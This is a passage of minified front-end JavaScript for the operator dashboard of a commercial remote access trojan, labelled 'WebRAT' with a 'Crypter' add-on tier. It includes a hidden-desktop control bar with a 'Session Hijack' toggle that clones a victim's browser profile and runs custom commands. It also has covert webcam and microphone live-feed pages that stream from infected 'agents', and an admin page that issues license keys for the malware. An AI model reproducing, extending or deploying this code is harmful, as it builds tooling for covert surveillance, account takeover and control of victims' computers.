outline-none",style:{background:"#27272A",accentColor:"#06B6D4"}}),s.jsx("span",{className:"font-mono tabular-nums",style:{fontSize:"10px",color:"#52525B"},children:j})]}),s.jsx("div",{className:"flex items-center gap-1.5 px-2 py-1",children:s.jsxs("select",{value:S,onChange:H=>{const Q=Number(H.target.value);N(Q),P.sendControl(3,Q)},className:"font-mono bg-transparent border border-zinc-700 rounded px-1 py-0.5 outline-none",style:{fontSize:"10px",color:"#A1A1AA"},children:[s.jsx("option",{value:0,children:"Auto"}),s.jsx("option",{value:1,children:"DXGI"}),s.jsx("option",{value:2,children:"GDI"})]})}),s.jsx(Cs,{}),s.jsx(lp,{label:"MOUSE",active:m,onClick:()=>h(!m),icon:s.jsx(WU,{})}),s.jsx(lp,{label:"KEYS",active:x,onClick:()=>g(!x),icon:s.jsx(UU,{})}),s.jsx(lp,{label:"VIEW",active:y,onClick:()=>v(!y),icon:s.jsx(VU,{})}),s.jsx(Cs,{}),s.jsx(x2,{onClick:ee,title:"Sync clipboard",children:s.jsx(HU,{})}),s.jsx(x2,{onClick:W,title:"Fullscreen",children:s.jsx(KU,{})}),r&&s.jsxs(s.Fragment,{children:[s.jsx(Cs,{}),s.jsxs("button",{onClick:()=>K(H=>!H),className:"flex items-center gap-1.5 px-2 py-1 rounded transition-colors",title:U?"Session Hijack: ON — browsers clone victim profile":"Session Hijack: OFF — browsers use empty profile",style:{color:U?"#22D3EE":"#52525B",background:U?"rgba(6, 182, 212, 0.12)":"transparent",border:U?"1px solid rgba(6, 182, 212, 0.3)":"1px solid transparent"},children:[s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.75 5.25a3 3 0 013 3m3 0a6 6 0 01-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1121.75 8.25z"})}),s.jsx("span",{className:"font-mono",style:{fontSize:"10px"},children:"Hijack"})]}),BU.map(H=>s.jsxs("button",{onClick:()=>ne(H.cmd),className:"flex items-center gap-1.5 px-2 py-1 transition-colors",style:{color:"#A1A1AA"},title:`Launch ${H.label}`,onMouseEnter:Q=>{Q.currentTarget.style.color="#06B6D4",Q.currentTarget.style.background="rgba(6, 182, 212, 0.08)"},onMouseLeave:Q=>{Q.currentTarget.style.color="#A1A1AA",Q.currentTarget.style.background="transparent"},children:[H.icon,s.jsx("span",{className:"font-mono",style:{fontSize:"10px"},children:H.label})]},H.cmd)),s.jsxs("button",{onClick:()=>{const H=prompt("Command to launch on hidden desktop:");H&&ne(H)},className:"flex items-center gap-1 px-2 py-1 transition-colors",style:{color:"#52525B"},title:"Run custom command",onMouseEnter:H=>{H.currentTarget.style.color="#A1A1AA",H.currentTarget.style.background="rgba(6, 182, 212, 0.06)"},onMouseLeave:H=>{H.currentTarget.style.color="#52525B",H.currentTarget.style.background="transparent"},children:[s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6.75 7.5l3 2.25-3 2.25m4.5 0h3m-9 8.25h13.5A2.25 2.25 0 0021 18V6a2.25 2.25 0 00-2.25-2.25H5.25A2.25 2.25 0 003 6v12a2.25 2.25 0 002.25 2.25z"})}),s.jsx("span",{className:"font-mono",style:{fontSize:"10px"},children:"Run"})]})]}),s.jsx("div",{className:"flex-1"}),s.jsx("span",{className:"font-mono tabular-nums mr-2",style:{fontSize:"10px",color:"#52525B"},children:z.w>0?`${z.w}×${z.h}`:"—"}),s.jsxs("button",{onClick:X,className:"flex items-center gap-1.5 px-3 py-1 font-mono font-medium tracking-wide transition-colors group",style:{fontSize:"10px",color:"#EF4444",background:"rgba(239, 68, 68, 0.06)",border:"1px solid rgba(239, 68, 68, 0.15)"},onMouseEnter:H=>{H.currentTarget.style.background="rgba(239, 68, 68, 0.12)",H.currentTarget.style.borderColor="rgba(239, 68, 68, 0.3)"},onMouseLeave:H=>{H.currentTarget.style.background="rgba(239, 68, 68, 0.06)",H.currentTarget.style.borderColor="rgba(239, 68, 68, 0.15)"},children:[s.jsx("svg",{className:"w-3 h-3 group-hover:rotate-90 transition-transform",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"DISCONNECT"]})]})]})}function Cs(){return s.jsx("div",{className:"w-px h-4 mx-0.5",style:{background:"rgba(31, 31, 35, 0.8)"}})}function lp({label:e,active:t,onClick:n,icon:r}){return s.jsxs("button",{onClick:n,className:"flex items-center gap-1.5 px-2 py-1 font-mono tracking-wide transition-colors",style:{fontSize:"10px",color:t?"#06B6D4":"#52525B",background:t?"rgba(6, 182, 212, 0.08)":"transparent",border:`1px solid ${t?"rgba(6, 182, 212, 0.18)":"transparent"}`},title:e,children:[r,e]})}function x2({onClick:e,title:t,children:n}){return s.jsx("button",{onClick:e,className:"flex items-center gap-1 px-2 py-1 transition-colors",style:{color:"#52525B"},title:t,onMouseEnter:r=>{r.currentTarget.style.color="#A1A1AA"},onMouseLeave:r=>{r.currentTarget.style.color="#52525B"},children:n})}function WU(){return s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.042 21.672L13.684 16.6m0 0l-2.51 2.225.569-9.47 5.227 7.917-3.286-.672zM12 2.25V4.5m5.834.166l-1.591 1.591M20.25 10.5H18M7.757 14.743l-1.59 1.59M6 10.5H3.75m4.007-4.243l-1.59-1.59"})})}function UU(){return s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.75 9h16.5m-16.5 6.75h16.5"})})}function VU(){return s.jsxs("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.036 12.322a1.012 1.012 0 010-.639C3.423 7.51 7.36 4.5 12 4.5c4.638 0 8.573 3.007 9.963 7.178.07.207.07.431 0 .639C20.577 16.49 16.64 19.5 12 19.5c-4.638 0-8.573-3.007-9.963-7.178z"}),s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 12a3 3 0 11-6 0 3 3 0 016 0z"})]})}function HU(){return s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.666 3.888A2.25 2.25 0 0013.5 2.25h-3c-1.03 0-1.9.693-2.166 1.638m7.332 0c.055.194.084.4.084.612v0a.75.75 0 01-.75.75H9.75a.75.75 0 01-.75-.75v0c0-.212.03-.418.084-.612m7.332 0c.646.049 1.288.11 1.927.184 1.1.128 1.907 1.077 1.907 2.185V19.5a2.25 2.25 0 01-2.25 2.25H6.75A2.25 2.25 0 014.5 19.5V6.257c0-1.108.806-2.057 1.907-2.185a48.208 48.208 0 011.927-.184"})})}function KU(){return s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.75 3.75v4.5m0-4.5h4.5m-4.5 0L9 9M3.75 20.25v-4.5m0 4.5h4.5m-4.5 0L9 15M20.25 3.75h-4.5m4.5 0v4.5m0-4.5L15 9m5.25 11.25h-4.5m4.5 0v-4.5m0 4.5L15 15"})})}function qU(){const{id:e}=Mo(),t=p.useRef(null),n=p.useRef(null),r=p.useRef(null),[i,a]=p.useState(!1),o=p.useRef(!1),[l,c]=p.useState({w:0,h:0}),u=p.useCallback((g,y,v)=>{o.current||(o.current=!0,a(!0)),c({w:y,h:v});const b=t.current;if(!b)return;const w=b.getContext("2d");if(w)if((b.width!==y||b.height!==v)&&(b.width=y,b.height=v),typeof g=="string"){const j=n.current||new Image;n.current=j,j.onload=()=>{w.drawImage(j,0,0)},j.src=g}else g instanceof ImageBitmap?(w.drawImage(g,0,0),g.close()):w.drawImage(g,0,0)},[]),{isConnected:d,stats:f,connect:m,disconnect:h}=J0({agentId:e||"",mode:"webcam",onFrame:u});p.useEffect(()=>{e&&m()},[e,m]),p.useEffect(()=>()=>{r.current&&URL.revokeObjectURL(r.current)},[]);const x=p.useCallback(async()=>{if(h(),e)try{await EE(e)}catch{}window.close()},[e,h]);return s.jsxs("div",{className:"h-screen w-screen flex flex-col select-none overflow-hidden",style:{background:"#09090B",color:"#FAFAFA"},children:[s.jsxs("div",{className:"flex items-center gap-1 px-3 py-1.5 shrink-0",style:{background:"#111113",borderBottom:"1px solid #1F1F23"},children:[s.jsxs("div",{className:"flex items-center gap-1.5 px-2.5 py-1 mr-1",style:{background:"rgba(34, 197, 94, 0.08)",border:"1px solid rgba(34, 197, 94, 0.18)"},children:[s.jsx("div",{className:"w-1.5 h-1.5 rounded-full animate-pulse-dot",style:{background:"#22C55E",boxShadow:"0 0 6px rgba(34, 197, 94, 0.6)"}}),s.jsx("span",{className:"font-display font-bold tracking-[0.15em] uppercase",style:{color:"#22C55E",fontSize:"10px"},children:"WEBCAM"})]}),s.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[s.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:d?"#22C55E":"#EF4444",boxShadow:d?"0 0 6px rgba(34,197,94,0.5)":"none"}}),s.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:d?"LIVE":"OFFLINE"})]}),s.jsx("div",{className:"w-px h-4 mx-0.5",style:{background:"rgba(31, 31, 35, 0.8)"}}),s.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[s.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"FPS"}),s.jsx("span",{className:"font-mono tabular-nums",style:{fontSize:"10px",color:"#22C55E"},children:f.fps})]}),s.jsx("div",{className:"flex-1"}),s.jsx("span",{className:"font-mono tabular-nums mr-2",style:{fontSize:"10px",color:"#52525B"},children:l.w>0?`${l.w}×${l.h}`:"—"}),s.jsxs("button",{onClick:x,className:"flex items-center gap-1.5 px-3 py-1 font-mono font-medium tracking-wide transition-colors",style:{fontSize:"10px",color:"#EF4444",background:"rgba(239, 68, 68, 0.06)",border:"1px solid rgba(239, 68, 68, 0.15)"},onMouseEnter:g=>{g.currentTarget.style.background="rgba(239, 68, 68, 0.12)"},onMouseLeave:g=>{g.currentTarget.style.background="rgba(239, 68, 68, 0.06)"},children:[s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"DISCONNECT"]})]}),s.jsxs("div",{className:"flex-1 flex items-center justify-center overflow-hidden",style:{background:"#09090B"},children:[d&&i&&s.jsx("canvas",{ref:t,style:{maxWidth:"100%",maxHeight:"100%",objectFit:"contain"}}),(!d||!i)&&s.jsxs("div",{className:"flex flex-col items-center gap-6",children:[s.jsx("div",{className:"w-10 h-10 border-2 rounded-full animate-spin",style:{borderColor:"rgba(34, 197, 94, 0.15)",borderTopColor:"#22C55E"}}),s.jsx("span",{className:"font-display font-medium tracking-wide",style:{fontSize:"13px",color:"#A1A1AA"},children:d?"Waiting for webcam feed...":"Connecting to agent..."})]})]}),s.jsxs("div",{className:"flex items-center gap-4 px-4 py-1 shrink-0 font-mono",style:{fontSize:"10px",background:"#111113",borderTop:"1px solid #1F1F23"},children:[s.jsx("span",{className:"font-display font-bold tracking-[0.2em] uppercase",style:{color:"#16A34A",fontSize:"9px"},children:"WEBCAM FEED"}),s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsxs("span",{style:{color:"#52525B"},children:[s.jsx("span",{style:{color:"#22C55E"},children:f.frameCount})," frames"]}),s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsx("span",{style:{color:"#52525B"},children:e?e.slice(0,8):"—"})]})]})}function YU({agentId:e,onDisconnect:t}){const n=p.useRef(null),r=p.useRef(null),i=p.useRef(0),[a,o]=p.useState(!1),[l,c]=p.useState(!1),u=p.useRef(!1),[d,f]=p.useState({chunkCount:0,sampleRate:0}),m=p.useCallback(()=>{if(n.current)return;const g=Ze();if(!g)return;const v=`${window.location.protocol==="https:"?"wss:":"ws:"}//${window.location.host}/api/mic/${e}/ws?token=${encodeURIComponent(g)}`,b=new WebSocket(v);b.binaryType="arraybuffer",n.current=b,b.onopen=()=>{o(!0),r.current||(r.current=new AudioContext({sampleRate:16e3})),i.current=0},b.onmessage=w=>{if(!(w.data instanceof ArrayBuffer))return;const j=new DataView(w.data);if(w.data.byteLength<12)return;const k=j.getUint16(0,!0),S=j.getUint8(2),N=j.getUint8(3),z=12,O=w.data.byteLength-z;if(f(I=>({chunkCount:I.chunkCount+1,sampleRate:k})),u.current)return;const _=r.current;if(!_||_.state==="closed")return;_.state==="suspended"&&_.resume();const T=O/(S/8)/N,E=_.createBuffer(N,T,k),U=new DataView(w.data,z);for(let I=0;I{o(!1),n.current=null,t==null||t()},b.onerror=()=>{b.close()}},[e,t]),h=p.useCallback(()=>{n.current&&(n.current.close(),n.current=null),o(!1)},[]),x=p.useCallback(()=>{c(g=>(u.current=!g,!g))},[]);return p.useEffect(()=>()=>{n.current&&(n.current.close(),n.current=null),r.current&&r.current.state!=="closed"&&r.current.close()},[]),{isConnected:a,isMuted:l,stats:d,connect:m,disconnect:h,toggleMute:x}}function GU(){const{id:e}=Mo(),{isConnected:t,isMuted:n,stats:r,connect:i,disconnect:a,toggleMute:o}=YU({agentId:e||""});p.useEffect(()=>{e&&i()},[e,i]);const l=p.useCallback(async()=>{if(a(),e)try{await AE(e)}catch{}window.close()},[e,a]);return s.jsxs("div",{className:"h-screen w-screen flex flex-col select-none overflow-hidden",style:{background:"#09090B",color:"#FAFAFA"},children:[s.jsxs("div",{className:"flex items-center gap-1 px-3 py-1.5 shrink-0",style:{background:"#111113",borderBottom:"1px solid #1F1F23"},children:[s.jsxs("div",{className:"flex items-center gap-1.5 px-2.5 py-1 mr-1",style:{background:"rgba(168, 85, 247, 0.08)",border:"1px solid rgba(168, 85, 247, 0.18)"},children:[s.jsx("div",{className:"w-1.5 h-1.5 rounded-full animate-pulse-dot",style:{background:"#A855F7",boxShadow:"0 0 6px rgba(168, 85, 247, 0.6)"}}),s.jsx("span",{className:"font-display font-bold tracking-[0.15em] uppercase",style:{color:"#A855F7",fontSize:"10px"},children:"MICROPHONE"})]}),s.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[s.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:t?"#22C55E":"#EF4444",boxShadow:t?"0 0 6px rgba(34,197,94,0.5)":"none"}}),s.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:t?"LIVE":"OFFLINE"})]}),s.jsx("div",{className:"w-px h-4 mx-0.5",style:{background:"rgba(31, 31, 35, 0.8)"}}),s.jsxs("button",{onClick:o,className:"flex items-center gap-1.5 px-2 py-1 font-mono tracking-wide transition-colors",style:{fontSize:"10px",color:n?"#EF4444":"#A855F7",background:n?"rgba(239, 68, 68, 0.08)":"rgba(168, 85, 247, 0.08)",border:`1px solid ${n?"rgba(239, 68, 68, 0.18)":"rgba(168, 85, 247, 0.18)"}`},children:[n?s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M17.25 9.75L19.5 12m0 0l2.25 2.25M19.5 12l2.25-2.25M19.5 12l-2.25 2.25m-10.5-6l4.72-4.72a.75.75 0 011.28.53v15.88a.75.75 0 01-1.28.53l-4.72-4.72H4.51c-.88 0-1.704-.507-1.938-1.354A9.01 9.01 0 012.25 12c0-.83.112-1.633.322-2.396C2.806 8.756 3.63 8.25 4.51 8.25H6.75z"})}):s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.114 5.636a9 9 0 010 12.728M16.463 8.288a5.25 5.25 0 010 7.424M6.75 8.25l4.72-4.72a.75.75 0 011.28.53v15.88a.75.75 0 01-1.28.53l-4.72-4.72H4.51c-.88 0-1.704-.507-1.938-1.354A9.01 9.01 0 012.25 12c0-.83.112-1.633.322-2.396C2.806 8.756 3.63 8.25 4.51 8.25H6.75z"})}),n?"MUTED":"AUDIO"]}),s.jsx("div",{className:"flex-1"}),s.jsxs("button",{onClick:l,className:"flex items-center gap-1.5 px-3 py-1 font-mono font-medium tracking-wide transition-colors",style:{fontSize:"10px",color:"#EF4444",background:"rgba(239, 68, 68, 0.06)",border:"1px solid rgba(239, 68, 68, 0.15)"},onMouseEnter:c=>{c.currentTarget.style.background="rgba(239, 68, 68, 0.12)"},onMouseLeave:c=>{c.currentTarget.style.background="rgba(239, 68, 68, 0.06)"},children:[s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"DISCONNECT"]})]}),s.jsx("div",{className:"flex-1 flex items-center justify-center",style:{background:"#09090B"},children:s.jsxs("div",{className:"flex flex-col items-center gap-8",children:[s.jsxs("div",{className:"relative",children:[s.jsx("div",{className:"w-24 h-24 rounded-full flex items-center justify-center",style:{background:t?"rgba(168, 85, 247, 0.08)":"rgba(63, 63, 70, 0.2)",border:`2px solid ${t?"rgba(168, 85, 247, 0.25)":"rgba(63, 63, 70, 0.3)"}`},children:s.jsx("svg",{className:"w-10 h-10",fill:"none",viewBox:"0 0 24 24",stroke:t?"#A855F7":"#52525B",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 18.75a6 6 0 006-6v-1.5m-6 7.5a6 6 0 01-6-6v-1.5m6 7.5v3.75m-3.75 0h7.5M12 15.75a3 3 0 01-3-3V4.5a3 3 0 116 0v8.25a3 3 0 01-3 3z"})})}),t&&!n&&s.jsx(s.Fragment,{children:s.jsx("div",{className:"absolute inset-0 rounded-full animate-ping",style:{background:"rgba(168, 85, 247, 0.1)",animationDuration:"2s"}})})]}),s.jsxs("div",{className:"flex flex-col items-center gap-2",children:[s.jsx("span",{className:"font-display font-medium tracking-wide",style:{fontSize:"14px",color:"#A1A1AA"},children:t?n?"Audio Muted":"Listening...":"Connecting..."}),t&&s.jsxs("span",{className:"font-mono",style:{fontSize:"11px",color:"#52525B"},children:[r.sampleRate>0?`${r.sampleRate} Hz`:""," ",r.chunkCount>0?`• ${r.chunkCount} chunks`:""]})]})]})}),s.jsxs("div",{className:"flex items-center gap-4 px-4 py-1 shrink-0 font-mono",style:{fontSize:"10px",background:"#111113",borderTop:"1px solid #1F1F23"},children:[s.jsx("span",{className:"font-display font-bold tracking-[0.2em] uppercase",style:{color:"#9333EA",fontSize:"9px"},children:"LIVE AUDIO"}),s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsxs("span",{style:{color:"#52525B"},children:[s.jsx("span",{style:{color:"#A855F7"},children:r.chunkCount})," chunks"]}),s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsx("span",{style:{color:"#52525B"},children:r.sampleRate>0?`${r.sampleRate} Hz`:"—"}),s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsx("span",{style:{color:"#52525B"},children:e?e.slice(0,8):"—"})]})]})}const XU=4294967295;function ZU(e){return e>=XU-86400}function cp(e){return ZU(e)?"Never":new Date(e*1e3).toLocaleString()}function v2({status:e}){const t={active:"bg-emerald-500/10 text-emerald-400 border-emerald-500/20",unused:"bg-blue-500/10 text-blue-400 border-blue-500/20",expired:"bg-zinc-500/10 text-zinc-400 border-zinc-500/20",revoked:"bg-red-500/10 text-red-400 border-red-500/20"};return s.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${t[e]||t.expired}`,children:e})}function QU({role:e}){const t=e==="admin";return s.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${t?"bg-amber-500/10 text-amber-400 border-amber-500/20":"bg-zinc-500/10 text-zinc-400 border-zinc-500/20"}`,children:e})}function JU(){const[e,t]=p.useState("keys"),[n,r]=p.useState([]),[i,a]=p.useState([]),[o,l]=p.useState(!0),[c,u]=p.useState(""),[d,f]=p.useState(!1),[m,h]=p.useState("7d"),[x,g]=p.useState("0"),[y,v]=p.useState("rat"),[b,w]=p.useState(!1),[j,k]=p.useState(""),[S,N]=p.useState(!1),[z,O]=p.useState(null),[_,T]=p.useState(null),[E,U]=p.useState("30d"),[K,R]=p.useState(!1),[I,F]=p.useState(null),[B,V]=p.useState("rat"),[$,q]=p.useState(!1),Y=p.useCallback(async()=>{try{const P=await ME();r(P)}catch(P){u(P instanceof Error?P.message:"Failed to fetch keys")}},[]),ie=p.useCallback(async()=>{try{const P=await DE();a(P)}catch(P){u(P instanceof Error?P.message:"Failed to fetch operators")}},[]);p.useEffect(()=>{l(!0),Promise.all([Y(),ie()]).finally(()=>l(!1))},[Y,ie]);const ae=async P=>{P.preventDefault(),w(!0),u("");try{const C=await LE({duration:m,max_agents:parseInt(x)||0,tier:y});k(C.key),N(!1),await Y()}catch(C){u(C instanceof Error?C.message:"Failed to generate key")}finally{w(!1)}},fe=async P=>{u("");try{await IE(P),O(null),await Y()}catch(C){u(C instanceof Error?C.message:"Failed to revoke key")}},de=async()=>{if(_){R(!0),u("");try{await RE(_.id,E),T(null),await ie()}catch(P){u(P instanceof Error?P.message:"Failed to extend license")}finally{R(!1)}}},G=async()=>{if(I){q(!0),u("");try{await $E(I.id,B),F(null),await ie()}catch(P){u(P instanceof Error?P.message:"Failed to set tier")}finally{q(!1)}}},te=()=>{navigator.clipboard.writeText(j),N(!0),setTimeout(()=>N(!1),2e3)};return s.jsxs("div",{className:"p-6 space-y-6",children:[s.jsx("div",{className:"flex items-center justify-between",children:s.jsxs("div",{children:[s.jsx("h1",{className:"text-xl font-display font-bold text-zerin-text",children:"Administration"}),s.jsx("p",{className:"text-sm text-zerin-text-muted mt-1",children:"Manage license keys and operators"})]})}),s.jsxs("div",{className:"flex gap-1 border-b border-zerin-panel-border",children:[s.jsx("button",{onClick:()=>t("keys"),className:`px-4 py-2.5 text-sm font-medium transition-colors ${e==="keys"?"text-zerin-accent border-b-2 border-zerin-accent":"text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"License Keys"}),s.jsx("button",{onClick:()=>t("operators"),className:`px-4 py-2.5 text-sm font-medium transition-colors ${e==="operators"?"text-zerin-accent border-b-2 border-zerin-accent":"text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"Operators"})]}),c&&s.jsxs("div",{className:"p-3 text-sm text-red-400 bg-red-500/10 border border-red-500/20",children:[c,s.jsx("button",{onClick:()=>u(""),className:"ml-2 text-red-300 hover:text-red-200",children:"dismiss"})]}),o?s.jsx("div",{className:"text-center py-12 text-zerin-text-muted text-sm",children:"Loading..."}):e==="keys"?s.jsxs("div",{className:"space-y-4",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("button",{onClick:()=>{f(!d),k("")},className:`px-3 py-1.5 text-sm font-medium text-zerin-accent border border-zerin-accent/30\r hover:bg-zerin-accent/10 transition-colors`,children:d?"Cancel":"Generate Key"}),s.jsx("button",{onClick:Y,className:`px-3 py-1.5 text-sm text-zerin-text-dim border border-zerin-panel-border\r hover:bg-zerin-panel-hover transition-colors`,children:"Refresh"})]}),d&&s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4 space-y-4",children:[s.jsxs("form",{onSubmit:ae,className:"space-y-3",children:[s.jsxs("div",{className:"flex items-end gap-4",children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Duration"}),s.jsx("input",{type:"text",value:m,onChange:P=>h(P.target.value),placeholder:"7d, 24h, 30m, lifetime",className:`w-40 px-3 py-1.5 text-sm bg-zerin-bg border border-zerin-panel-border\r text-zerin-text placeholder-zerin-text-muted focus:border-zerin-accent\r focus:outline-none`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Max Agents (0 = unlimited)"}),s.jsx("input",{type:"number",value:x,onChange:P=>g(P.target.value),min:"0",className:`w-32 px-3 py-1.5 text-sm bg-zerin-bg border border-zerin-panel-border\r text-zerin-text focus:border-zerin-accent focus:outline-none`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-xs text-zerin-text-muted mb-1",children:"Tier"}),s.jsxs("div",{className:"flex gap-1",children:[s.jsx("button",{type:"button",onClick:()=>v("rat"),className:`px-3 py-1.5 text-xs font-mono border transition-colors ${y==="rat"?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT"}),s.jsx("button",{type:"button",onClick:()=>v("rat_crypter"),className:`px-3 py-1.5 text-xs font-mono border transition-colors ${y==="rat_crypter"?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"WebRAT + Crypter"})]})]}),s.jsx("button",{type:"submit",disabled:b,className:`px-4 py-1.5 text-sm font-medium bg-zerin-accent text-black\r hover:bg-zerin-accent/90 disabled:opacity-50 transition-colors`,children:b?"Generating...":"Generate"})]}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("span",{className:"text-xs text-zerin-text-muted mr-1",children:"Presets:"}),["1d","7d","30d","90d","365d","lifetime"].map(P=>s.jsx("button",{type:"button",onClick:()=>h(P),className:`px-2 py-0.5 text-xs font-mono border transition-colors ${m===P?"border-zerin-accent/50 bg-zerin-accent/10 text-zerin-accent":"border-zerin-panel-border text-zerin-text-muted hover:text-zerin-text-dim hover:border-zerin-text-muted"}`,children:P},P))]})]}),j&&s.jsxs("div",{className:"space-y-2",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("code",{className:`flex-1 block p-3 text-xs font-mono bg-zerin-bg border border-zerin-accent/30\r text-zerin-accent break-all select-all`,children:j}),s.jsx("button",{onClick:te,className:`px-3 py-2 text-xs text-zerin-text-dim border border-zerin-panel-border\r hover:bg-zerin-panel-hover transition-colors shrink-0`,children:S?"Copied!":"Copy"})]}),s.jsx("p",{className:"text-xs text-amber-400",children:"Copy this key now — it cannot be retrieved later."})]})]}),s.jsx("div",{className:"border border-zerin-panel-border overflow-x-auto",children:s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"bg-zerin-panel text-zerin-text-muted text-xs uppercase tracking-wider",children:[s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Key ID"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Status"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Tier"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Created"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Expires"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Activated By"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Uses"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Source"}),s.jsx("th",{className:"px-4 py-3 text-left font-medium",children:"Actions"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:n.length===0?s.jsx("tr",{children:s.jsx("td",{colSpan:9,className:"px-4 py-8 text-center text-zerin-text-muted",children:"No license keys found"})}):n.map(P=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[s.jsxs("td",{className:"px-4 py-3 font-mono text-xs text-zerin-text-dim",title:P.key_id,children:[P.key_id.substring(0,8),"..."]}),s.jsx("td",{className:"px-4 py-3",children:s.jsx(v2,{status:P.status})}),s.jsx("td",{className:"px-4 py-3",children:s.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${P.tier==="rat_crypter"?"bg-purple-500/10 text-purple-400 border-purple-500/20":"bg-zinc-500/10 text-zinc-400 border-zinc-500/20"}`,children:P.tier==="rat_crypter"?"RAT + Crypter":"RAT"})}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:cp(P.created_at)}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim text-xs",children:cp(P.expires_at)}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim",children:P.activated_by||"—"}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-dim font-mono",children:P.use_count}),s.jsx("td",{className:"px-4 py-3 text-zerin-text-muted text-xs",children:P.generated_by}),s.jsx("td",{className:"px-4 py-3",children:P.status!=="revoked"&&P.status!=="expired"?z===P.key_id?s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("button",{onClick:()=>fe(P.key_id),className:`px-2 py-1 text-xs text-red-400 border border-red-500/30\r hover:bg-red-500/10 transition-colors`,children:"Confirm"}),s.jsx("button",{onClick:()=>O(null),className:`px-2 py-1 text-xs text-zerin-text-muted\r 